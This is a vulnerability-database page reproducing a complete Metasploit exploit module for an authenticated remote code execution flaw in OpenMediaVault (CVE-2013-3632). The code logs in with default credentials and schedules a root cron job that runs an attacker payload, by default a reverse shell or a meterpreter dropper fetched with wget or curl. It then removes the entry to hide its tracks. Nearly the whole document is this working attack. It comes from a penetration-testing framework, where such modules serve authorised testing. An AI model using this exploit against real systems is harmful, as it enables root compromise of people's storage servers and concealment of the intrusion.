Lucene search
K

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution

🗓️ 31 Jul 2024 00:00:00Reported by Brandon Perry, h00die-gr3y, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 398 Views

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution. An attacker can abuse this by sending a POST request via rpc.php to schedule and execute a cron entry that runs arbitrary commands as root on the system. All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Deprecated  
  
moved_from 'exploit/multi/http/openmediavault_cmd_exec'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',  
'Description' => %q{  
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.  
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute  
a cron entry that runs arbitrary commands as root on the system.  
All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor  
'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module  
],  
'References' => [  
['CVE', '2013-3632'],  
['PACKETSTORM', '178526'],  
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],  
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']  
],  
'DisclosureDate' => '2013-10-30',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => ['linux'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['wget', 'curl'],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),  
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),  
OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])  
]  
)  
end  
  
def user  
datastore['USERNAME']  
end  
  
def pass  
datastore['PASSWORD']  
end  
  
def rpc_success?(res)  
res&.code == 200 && res.body.include?('"error":null')  
end  
  
def login(user, pass)  
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")  
# try the login options for all OpenMediaVault versions  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'Session',  
method: 'login',  
params: {  
username: user,  
password: pass  
},  
options: nil  
}.to_json  
})  
unless res&.code == 200 && res.body.include?('"authenticated":true')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'Authentication',  
method: 'login',  
params: {  
username: user,  
password: pass  
}  
}.to_json  
})  
end  
unless res&.code == 200 && res.body.include?('"authenticated":true')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'Authentication',  
method: 'login',  
params: [  
{  
username: user,  
password: pass  
}  
]  
}.to_json  
})  
return res&.code == 200 && res.body.include?('"authenticated":true')  
end  
true  
end  
  
def check_target  
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'keep_cookies' => true,  
'ctype' => 'application/json',  
'data' => {  
service: 'System',  
method: 'getInformation',  
params: nil  
}.to_json  
})  
return nil unless rpc_success?(res)  
  
res  
end  
  
def check_version(res)  
# parse json response and get the version  
res_json = res.get_json_document  
unless res_json.blank?  
# OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information  
version = res_json.dig('response', 1, 'value')  
version = res_json.dig('response', 'version') if version.nil?  
version = res_json.dig('response', 'data', 1, 'value') if version.nil?  
return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?  
end  
nil  
end  
  
def apply_config_changes  
# Apply OpenMediaVault configuration changes  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => {  
service: 'Config',  
method: 'applyChangesBg',  
params: {  
modules: [],  
force: false  
},  
options: nil  
}.to_json  
})  
end  
  
def execute_command(cmd, _opts = {})  
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']  
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'  
# OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'  
# OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter  
# OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters  
schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'  
uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'  
  
if @version_number > Rex::Version.new('1.0.32')  
post_data = {  
service: 'Cron',  
method: 'set',  
params: {  
uuid: uuid,  
enable: true,  
execution: 'exactly',  
minute: schedule,  
everynminute: false,  
hour: schedule,  
everynhour: false,  
dayofmonth: schedule,  
everyndayofmonth: false,  
month: schedule,  
dayofweek: schedule,  
username: 'root',  
command: cmd.to_s, # payload  
sendemail: false,  
comment: '',  
type: 'userdefined'  
},  
options: nil  
}.to_json  
elsif @version_number >= Rex::Version.new('0.2.6.4')  
post_data = {  
service: 'Cron',  
method: 'set',  
params: {  
uuid: uuid,  
enable: true,  
minute: schedule,  
everynminute: false,  
hour: schedule,  
everynhour: false,  
dayofmonth: schedule,  
everyndayofmonth: false,  
month: schedule,  
dayofweek: schedule,  
username: 'root',  
command: cmd.to_s, # payload  
sendemail: false,  
comment: '',  
type: 'userdefined'  
}  
}.to_json  
else  
post_data = {  
service: 'Cron',  
method: 'set',  
params: [  
{  
uuid: uuid,  
minute: schedule,  
hour: schedule,  
dayofmonth: schedule,  
month: schedule,  
dayofweek: schedule,  
username: 'root',  
command: cmd.to_s, # payload  
comment: '',  
type: 'userdefined'  
}  
]  
}.to_json  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => post_data  
})  
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)  
  
# parse json response and get the uuid of the cron entry  
# we need this later to clean up and hide our tracks  
res_json = res.get_json_document  
@cron_uuid = res_json.dig('response', 'uuid') || ''  
  
# In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it  
if @cron_uuid.blank?  
if @version_number >= Rex::Version.new('0.2.6.4')  
method = 'getList'  
else  
method = 'getListByType'  
end  
post_data = {  
service: 'Cron',  
method: method,  
params: {  
start: 0,  
limit: -1,  
sortfield: nil,  
sortdir: nil,  
type: ['userdefined']  
}  
}.to_json  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => post_data  
})  
res_json = res.get_json_document  
# get total list of entries and pick the last one  
index = res_json.dig('response', 'total')  
@cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''  
end  
  
# Apply and update cron configuration to trigger payload execution (1 minute)  
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply  
apply_config_changes  
print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')  
end  
  
def on_new_session(_session)  
# try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true  
unless datastore['PERSISTENT']  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rpc.php'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'keep_cookies' => true,  
'data' => {  
service: 'Cron',  
method: 'delete',  
params: {  
uuid: @cron_uuid.to_s  
}  
# options: nil  
}.to_json  
})  
if rpc_success?(res)  
# Apply changes and update cron configuration to remove the payload entry  
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply  
apply_config_changes  
print_good('Cron payload entry successfully removed.')  
else  
print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')  
end  
end  
super  
end  
  
def check  
@logged_in = login(user, pass)  
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in  
  
res = check_target  
return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?  
  
@version_number = check_version(res)  
return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?  
return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))  
  
CheckCode::Detected("Version #{@version_number}")  
end  
  
def exploit  
unless @logged_in  
if login(user, pass)  
res = check_target  
fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?  
@version_number = check_version(res)  
if @version_number.nil?  
print_status('Can not retrieve version information. Continue anyway...')  
else  
print_status("Version #{@version_number} detected.")  
end  
else  
fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')  
end  
end  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation